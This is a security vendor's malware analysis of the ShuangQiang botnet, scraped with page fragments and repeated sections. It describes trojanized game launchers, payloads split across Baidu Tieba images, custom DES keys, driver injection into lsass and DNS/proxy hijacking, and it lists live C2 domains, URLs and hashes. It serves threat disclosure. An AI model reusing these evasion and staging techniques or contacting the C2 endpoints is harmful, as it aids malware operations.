34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25,
32, 0, 40, 8, 48, 16, 56, 24
]
</code></pre>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <strong><a href="https://twitter.com/360Netlab">twitter</a></strong> or email <strong>netlab[at]360.cn</strong> to netlab at 360 dot cn.</p>
<h2 id="partofioc">Part of IOC:</h2>
<h3 id="ccs">C&Cs</h3>
<pre><code>pro.csocools.com
www.w15773.com
cs.wconf5.com
cs.ledfaguang.com
white.fei46413.com
</code></pre>
<h3 id="md5">MD5</h3>
<pre><code>aa497dfb5a92c28f7fa5b8e049155da0
081e586a6010b3b72ba4934f8cbdb368
04db0b062c7491a124bf7388d783c17e
0c0f43ed8317869918a23a7e7bfeb0e8
1785ef2d8bd40d8af32cca0f536cb6e8
3fb5e2c05b73168c3f259d64b8978a64
</code></pre>
<h3 id="urls">URLs</h3>
<pre><code>https://share.weiyun.com/5XqTYW6
https://www.w15773.com:12310/123.html
https://www.w15773.com:12309/report.ashx
http://www.w15773.com:12313/config.html
http://www.w15773.com:8889/stat1.ashx
https://pro.csocools.com:12310/123.html
https://pro.csocools.com:12309/report.ashx
http://pro.csocools.com:8889/stat1.ashx
https://share.weiyun.com/5dSpU6a
https://cs.wconf5.com:12709/report.ashx
https://cs.wconf5.com:12710/123.html
https://cs.wconf5.com:12713/config.html
https://cs.wconf5.com:12715/GetTag.ashx
http://cs.wconf5.com:8889/stat1.ashx
https://cs.ledfaguang.com:12710/123.html
https://cs.ledfaguang.com:12709/report.ashx
http://cs.ledfaguang.com:12713/config.html
http://cs.ledfaguang.com:8889/stat1.ashx
http://white.fei46413.com:12313/config.html
http://white.fei46413.com:8889/stat1.ashx
https://ap.echoit1.com:12310/123.html
https://ap.echoit1.com:12309/report.ashx
https://ap.echoit1.com:12710/123.html
https://ap.echoit1.com:12709/report.ashx
http://tiebapic.baidu.com/tieba/pic/item/72f082025aafa40fcbf1a1b9bc64034f78f0199a.jpg
http://tiebapic.baidu.com/tieba/pic/item/bf096b63f6246b600e2fa810fcf81a4c510fa2b4.jpg
http://tiebapic.baidu.com/tieba/pic/item/c83d70cf3bc79f3da8c48b54ada1cd11728b29a8.jpg
http://tiebapic.baidu.com/tieba/pic/item/8326cffc1e178a82281910c4e103738da977e8a9.jpg
http://tiebapic.baidu.com/tieba/pic/item/0823dd54564e9258e210e98a8b82d158ccbf4ea9.jpg
http://tiebapic.baidu.com/tieba/pic/item/a2cc7cd98d1001e9331b7b6baf0e7bec54e797aa.jpg
http://tiebapic.baidu.com/tieba/pic/item/241f95cad1c8a786800c256a7009c93d70cf50ab.jpg
http://tiebapic.baidu.com/tieba/pic/item/63d0f703918fa0ecb6e10b69319759ee3d6ddbb4.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
</code></pre>
<!--kg-card-end: markdown--> | Overview
Recently, our DNS data based threat monitoning system DNSmon flagged a suspicious domain pro.csocools.com. The system estimates the scale of infection may well above hundreds of thousands of users. By analyzing the related samples and C2s,
We traced its family back to the ShuangQiang(double gun) campaign, in the past, this campaign has been exposed by multiple security vendors, but it has rvivied and come back with new methods and great force.
This time around, Shuangqiang continues to use Baidu Tieba pictures to distribute configuration files and malwares. In addition, it starts to use Alibaba Cloud storage to host configuration files, and Baidu statistics, a commonly used public network service, has been added to manage the activity of its’ infected hosts. We also see the URL addresses of Tencent Weiyun in the samples.
For the first time, the shuangqiang campaign integrated the services of the three major player BAT into its own programs, it is interesting, and a worry trend from security’s perspective. We have to claim here, that the abuse of these neutral services is completely the malware campaign action, and all the related services vendors had already said no in the user terms and took actions against the abuse.
Since May 14, we reached Baidu security team and took a joint action to measure the campaign's infection, and stopped the spreading by blocking all the related downloading before this blog go public. We had a statement from Baidu security team at the end of this blog.
IOC correlation analysis
Starting with the above domain name, we pivoted into our DNSmon graphic system and discovered more new threat nodes, especially, a set of key C2 IPs emerge. As can be seen from the partial IOC correlation diagram, almost all domain names are related to the two key IP addresses 125.124.255.20 and 125.124.255.79.
With these two IPs, Shuagnqiang campaign pointed a bunch of C2 DNS names to control and deliver malicious programs from late 2019. And the block 125.124.255.0/24 appears to be under the campaign control as well.
When we traced how the users are infected, we found out this time around, the campaign lures users who play underground games to install game launching software that contain malicious codes. More specifically, there are two methods to infect clients, as we breakdown below
Infection method 1-The game launcher with malicious code
Phase 1 — Download and load the cs.dll malicious file
The following is a very typical underground game server portal with links to play games.
Clicking the download link will jump to a correponding private server homepage where users are supposed to be able to download game launching patch.
The downloaded launching “patch”
When user installs and launches the "patch", the malicious code accesses the configuration information server, and then downloads and dynamically loads the latest version of the malicious program named cs.dll from Baidu Tieba. The key string in cs.dll uses a deformed DES encryption method, which is highly similar to the double-gun sample we captured before.
*
File structure
"Beaulieu rank .exe" PE Resource contains 7 files, Widget.dll is a client component, cs.dll is the resource file. The 4 GameProtect_xx.sys files are the patches for the game itself, and they also have code in them to insert ads and to hijack users traffic.
*
Download configuration information
This is where the encrypted configuration file is accessed http://mtdlq.oss-cn-beijing.aliyuncs.com/cscsmt.txt
The above page contains 8 lines of hexadecimal strings, looping the key B2 09 BB 55 93 6D 44 47 to decrypt the exclusive-OR.
After decryption 8 Baidu tieba addresses show up.
*
Download image file to cut and reassemble cs.dll file
If you access the picture URLs, it looks like some randomly generated noises.
Malicious programs download image files, each image to use ><>>>< as a marker to separate image data and malicious code data.
Putting all the malicious code together, we got the stage 2 malicious program cs.dll.
The malicious program loads the above cs.dll through memory mapping, and then calls the export function abcd () to enter phase 2, so no file is created on the infected devices.
Phase 2 — Report host information, release and load malicious driver
cs.dll will perform some simple virtual machine and anti-software countermeasures, and use the Baidu statistics service to report Bot information, then release the third-stage VMP packed driver (including both x86 and x64 versions).
*
DES decryption algorithm
The DES decryption algorithm in the sample is customized and implemented by the malware author, and the encryption mode is CBC with no padding. The conversion table of the DES encryption algorithm is the same as that of the old version (see our old blog here). The DES decryption involves two layers, the first layer of decryption uses the first string in Base64 decoding algorithm dBvvIEmQW2s = to obtain a binary data, and then use empty key \x00\x00\x00\x00\x00\x00\x00\x00 to decrypt it to obtain the helloya\x00 string, this string is a key to decrypt other large amounts of ciphertext data with the self-developed DES algorithm. The complete decryption process is as follows:
*
Check the virtual host environment VM and WM
Determine whether it is a VMWare host by checking the entry table, and if it is a VM host code, exit.
Check whether the system service WayOSFw exists, and exits directly if the service exists.
*
Create Bot ID
Use the system API to create the Bot ID of the host and write it to the registry "SOFTWARE\PCID",
*
Manage Bot with Baidu Statistics Service
The developers of the malware borrowed some standard fields of the Baidu statistics interface to report sensitive information about the host. Because Baidu statistical service is used by a large number of websites, it is difficult to distinguish it, which makes it more difficult for security vendors to see and take action.
The bot first uses a function called DataWork () to forge a browser request and download the hm.js script.
Save the user cookie information HMACCOUNT in the returned information to the registry.
The http://hm.baidu.com/hm.gif? Interface give the bot author the ability to upload statistics scripts this.b.v, user Cookie, bot_id and other statistical information so the author can easily manage and assess the infected users.
*
Decrypt, create, and install drivers from Dat resources
Check whether the installation XxGamesFilterand other underground game patches have been installed.
Choose different resource IDs according to the installation situation and operating system version, each resource corresponds to a different version of the driver (32-bit systems use ID 111 or 109 resources, 64-bit systems use ID 110 or 112 resources).
The resource is encrypted. Taking the decrypted 32-bit driver as an example, the data order is reversed first, and then the XOR is performed byte by byte with the system version value of 32 to obtain a VMP packed driver file.
Detect the presence of TeSafethe drive, if there is, the infection process stops. And calculate "TeSafe+{Computer Name}" the MD5 value to check whether the driver exists, if it is, that means the system has already been infected, the infection will stop.
// string
+00 54 65 53 61 66 65 2B 57 49 4E 2D 52 48 39 34 50 TeSafe+WIN-RH94P
+10 42 46 43 37 34 41 00 00 00 00 00 00 00 00 00 00 BFC74A..........
// MD5 value
+00 46 34 36 45 41 30 37 45 37 39 30 33 33 36 32 30 F46EA07E79033620
+10 43 45 31 33 44 33 35 44 45 31 39 41 41 43 34 32 CE13D35DE19AAC42
If the EnableCertPaddingCheck in the registry key is closed, the last 16 bytes of of the file will be replaced by some random data. By doing this, the HASH value of the sample on each infected host is completely different, which renders the HASH based anti-virus system blind.
Release the driver to the TEMP directory, and the file name is a random string with a length of 7.
E.g:"C:\Users{User Name}\AppData\Local\Temp\iiitubl"
Register the driver file to start the service and check whether the installation is successful.
Phase 3 — Hijack system processes and download subsequent malicious programs
The drive will copies itself to Windows/system32/driver/{7 random letters}.sys to disguise itself as a legitimate drive, such as fltMgr.sys, and inject DLL module to the system processes Lassas.exeand svchost.exe. After the entire initialization process is completed, a driver and DLL module work together to complete the work mode through DeviceIoControl () , which is a driver-level downloader. All sensitive configuration information is stored inside the driver. The DLL obtains the configuration server related information by calling the driver. According to the downloaded configuration information, it goes to Baidu Tieba to download other malicious code to carry out the next stage of malicious activities.
*
After the driver runs, use the APC injection method to inject the DLL module into the system process Lassas.exe.
*
The DLL cooperates with the execution process of the driver.
The DLL first attempts to create mutually exclusive objects {12F7BB4C-9886-4EC2-B831-FE762D4745DC} to prevent the system from creating multiple instances.
Then it will check the existence of Lsass.exe or svchost.exe to ensure that it is not running in an analysis environment such as sandbox.
Try to create a device "\.\F46EA07E79033620CE13D35DE19AAC42" handle, establish communication and drive modules.
Send 0x222084 device control code to the driver to obtain the configuration information of the connection server. The communication with the configuration server uses the double encryption method of HTTPS + DES. The configuration information contains three important parts:
1. https://cs.wconf5.com:12709/report.ashx is used for DLL to report basic host information such as bot id and installation time.
Whether 360 antivirus is installed and whether it is a virtual machine environment.
Whether it is a diskless workstation.
The host information reported is encrypted using DES, and the key is HQDCKEY1.
2. Access https://cs.wconf5.com:12710/123.html to download configuration information:
The configuration information is still deformed DES encryption, and the decryption key is HQDCKEY1. After decryption, you can see that the configuration information uses a custom format. Two Baidu pictures form a group, and the valid data is intercepted and stitched into a valid file:
3. Configuration information https://share.weiyun.com/5dSpU6a, we have yet to find out what is this for:
All configuration information returned by the driver samples contains a Tencent Weiyun address. Direct access to this address will reveal a string of several characters and numbers.
It seems that the data on the weiyun page and the configuration server share some patterns. Take the above picture as an example, accessing Tencent Weiyun will obtain a string cs127. The subdomain of the profile server in the same set of data is cs.xxxx.com and the port is 127xx. This looks like a strategy for dynamically generating configuration file server addresses. We speculate that it may be a function in the development stage, so the sample code does not contain the corresponding code yet.
After completing the above initialization process, the driver runs in full spead. According to the parsed configuration file, the dll and the driver module can archive complex functions, some of which are listed below.
*
Update driver files
The program will use another set of algorithms to get the DES decryption key HelloKey, and finally use the DES algorithm to get the final data:
Hijack the ip address.
Add a certificate to the system
Download files to the TEMP directory and create process.
Tampering with DNS configuration
PAC proxy hijacking
Infection method 2 — DLL hijacking
Infection method 2 still uses the underground game launcher, but there are big differences with the prior method
The downloaded patch software
A popular component photobase.dll, of multiple underground game client software will be replaced with a malicious DLL files which uses the same name. The PE of the malicious DLL file contains three key files:
The new photobase.dll has two key actions:
1.
Release the malicious code, registere and start the system service;
2.
Load the real photobase.dll file and forward the exported function to the real photobase.dll.
The subsequent infection process is the same as above. This is a standard DLL hijacking loading method.
Phase 1 — Release and load the malicious driver
Photobase.dll malicious file will first generate a random file name for the upcoming release of malicious drive file, the file name is made up of 10 random characters, file suffix .dat, and put their PE Resource driver files into the appropriate "%windir%\Temp" directory.
Then register the system service for the landing malicious driver file and start the service:
The next activity of the malicious driver is the same as the first infection method, which is to download, decrypt and finally load other malicious files.
Phase 2 — Load the real photobase.dll
The first 2 bytes of the real photobase.dll file in the malicious photobase.dll PE Resource are emptied:
When malicious photobase.dll extracts this file from PE Resource, the first 2 bytes will be filled with MZ (PE file header):
Then, the malicious photobase.dll file will load the dynamic link library for the real photobase.dll file which is just loaded, and import related functions, then forward the export function in the real photobase.dll. The export function of partial forwarding is as follows:
Take the above Sqm::AddToStream() as an example, the forwarding function of the malicious photobase.dll is as follows:
Baidu Security Team Statement
Based on the massive threat intelligence, Baidu security anti-underground-economy platform had taken cooperate actions to calculate the botnet's infection, provide risk warnings to infected users, and eventually blocked all the malware download.
During this joint action, we had a better understanding on double gun gang's technical means, logic, and rules, by sharing, analysising, and reponse to the related threat intellignece.
Appendix
Custom conversion table in DES encryption and decryption algorithm:
The following conversion table is different from most public implementations of DES encryption and decryption. The left shift number table and SBox table are the same as the common DES algorithm implementation.
# Permutation and translation tables for DES
__pc1 = [
56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
# permuted choice key (table 2)
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 46,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
# initial permutation IP
__ip = [
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7,
56, 48, 40, 32, 24, 16, 8, 0,
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6
]
# Expansion table for turning 32 bit blocks into 48 bits
__expansion_table = [
31, 0, 1, 2, 3, 4,
3, 4, 5, 6, 7, 8,
7, 8, 9, 10, 11, 12,
11, 12, 13, 14, 15, 16,
15, 16, 17, 18, 19, 20,
19, 20, 21, 22, 23, 24,
23, 24, 25, 26, 27, 28,
27, 28, 29, 30, 31, 0
]
# 32-bit permutation function P used on the output of the S-boxes
__p = [
15, 6, 19, 20, 28, 11,
27, 16, 0, 14, 22, 25,
4, 17, 30, 9, 1, 7,
23, 13, 31, 26, 2, 8,
18, 12, 29, 5, 21, 10,
3, 24
]
# final permutation IP^-1
__fp = [
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25,
32, 0, 40, 8, 48, 16, 56, 24
]
Contact us
Readers are always welcomed to reach us on twitter or email netlab[at]360.cn to netlab at 360 dot cn.
Part of IOC:
C&Cs
pro.csocools.com
www.w15773.com
cs.wconf5.com
cs.ledfaguang.com
white.fei46413.com
MD5
aa497dfb5a92c28f7fa5b8e049155da0
081e586a6010b3b72ba4934f8cbdb368
04db0b062c7491a124bf7388d783c17e
0c0f43ed8317869918a23a7e7bfeb0e8
1785ef2d8bd40d8af32cca0f536cb6e8
3fb5e2c05b73168c3f259d64b8978a64
URLs
https://share.weiyun.com/5XqTYW6
https://www.w15773.com:12310/123.html
https://www.w15773.com:12309/report.ashx
http://www.w15773.com:12313/config.html
http://www.w15773.com:8889/stat1.ashx
https://pro.csocools.com:12310/123.html
https://pro.csocools.com:12309/report.ashx
http://pro.csocools.com:8889/stat1.ashx
https://share.weiyun.com/5dSpU6a
https://cs.wconf5.com:12709/report.ashx
https://cs.wconf5.com:12710/123.html
https://cs.wconf5.com:12713/config.html
https://cs.wconf5.com:12715/GetTag.ashx
http://cs.wconf5.com:8889/stat1.ashx
https://cs.ledfaguang.com:12710/123.html
https://cs.ledfaguang.com:12709/report.ashx
http://cs.ledfaguang.com:12713/config.html
http://cs.ledfaguang.com:8889/stat1.ashx
http://white.fei46413.com:12313/config.html
http://white.fei46413.com:8889/stat1.ashx
https://ap.echoit1.com:12310/123.html
https://ap.echoit1.com:12309/report.ashx
https://ap.echoit1.com:12710/123.html
https://ap.echoit1.com:12709/report.ashx
http://tiebapic.baidu.com/tieba/pic/item/72f082025aafa40fcbf1a1b9bc64034f78f0199a.jpg
http://tiebapic.baidu.com/tieba/pic/item/bf096b63f6246b600e2fa810fcf81a4c510fa2b4.jpg
http://tiebapic.baidu.com/tieba/pic/item/c83d70cf3bc79f3da8c48b54ada1cd11728b29a8.jpg
http://tiebapic.baidu.com/tieba/pic/item/8326cffc1e178a82281910c4e103738da977e8a9.jpg
http://tiebapic.baidu.com/tieba/pic/item/0823dd54564e9258e210e98a8b82d158ccbf4ea9.jpg
http://tiebapic.baidu.com/tieba/pic/item/a2cc7cd98d1001e9331b7b6baf0e7bec54e797aa.jpg
http://tiebapic.baidu.com/tieba/pic/item/241f95cad1c8a786800c256a7009c93d70cf50ab.jpg
http://tiebapic.baidu.com/tieba/pic/item/63d0f703918fa0ecb6e10b69319759ee3d6ddbb4.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Overview\n\nRecently, our DNS data based threat monitoning system DNSmon flagged a suspicious domain **pro.csocools.com**. The system estimates the scale of infection may well above hundreds of thousands of users. By analyzing the related samples and C2s, \nWe traced its family back to the **ShuangQiang**(double gun) campaign, in the past, this campaign has been exposed by multiple security vendors, but it has rvivied and come back with new methods and great force. \n\nThis time around, Shuangqiang continues to use Baidu Tieba pictures to distribute configuration files and malwares. In addition, it starts to use Alibaba Cloud storage to host configuration files, and Baidu statistics, a commonly used public network service, has been added to manage the activity of its’ infected hosts. We also see the URL addresses of Tencent Weiyun in the samples. \n\nFor the first time, the shuangqiang campaign integrated the services of the three major player BAT into its own programs, it is interesting, and a worry trend from security’s perspective. We have to claim here, that the abuse of these neutral services is completely the malware campaign action, and all the related services vendors had already said no in the user terms and took actions against the abuse.\n\nSince May 14, we reached Baidu security team and took a joint action to measure the campaign's infection, and stopped the spreading by blocking all the related downloading before this blog go public. We had a statement from Baidu security team at the end of this blog.\n\n## IOC correlation analysis\n\nStarting with the above domain name, we pivoted into our DNSmon graphic system and discovered more new threat nodes, especially, a set of key C2 IPs emerge. As can be seen from the partial IOC correlation diagram, almost all domain names are related to the two key IP addresses **125.124.255.20** and **125.124.255.79**. \nWith these two IPs, Shuagnqiang campaign pointed a bunch of C2 DNS names to control and deliver malicious programs from late 2019. And the block 125.124.255.0/24 appears to be under the campaign control as well.\n\n<div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/IOC_simple.png\"/></div>\n\nWhen we traced how the users are infected, we found out this time around, the campaign lures users who play underground games to install game launching software that contain malicious codes. More specifically, there are two methods to infect clients, as we breakdown below\n\n<div align=\"center\"><img width=\"1000\" src=\"__GHOST_URL__/content/images/2020/05/pljx_infect_flow_en.png\"/></div>\n\n## Infection method 1-The game launcher with malicious code\n\n### Phase 1 — Download and load the cs.dll malicious file \n \nThe following is a very typical underground game server portal with links to play games.\n \n<div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/clinet_web_page.png\"/></div>\n\nClicking the download link will jump to a correponding private server homepage where users are supposed to be able to download game launching patch.\n\n<div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/client_home_page.png\"/></div>\n\nThe downloaded launching “patch”\n\n<div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/clinet_zip_file.png\"/></div>\n\nWhen user installs and launches the \"patch\", the malicious code accesses the configuration information server, and then downloads and dynamically loads the latest version of the malicious program named cs.dll from Baidu Tieba. The key string in cs.dll uses a deformed DES encryption method, which is highly similar to the double-gun sample we captured before. \n\n+ File structure \n\n \"Beaulieu rank .exe\" PE Resource contains 7 files, Widget.dll is a client component, cs.dll is the resource file. The 4 GameProtect_xx.sys files are the patches for the game itself, and they also have code in them to insert ads and to hijack users traffic.\n\n <div align=\"center\"><img width=\"500\" 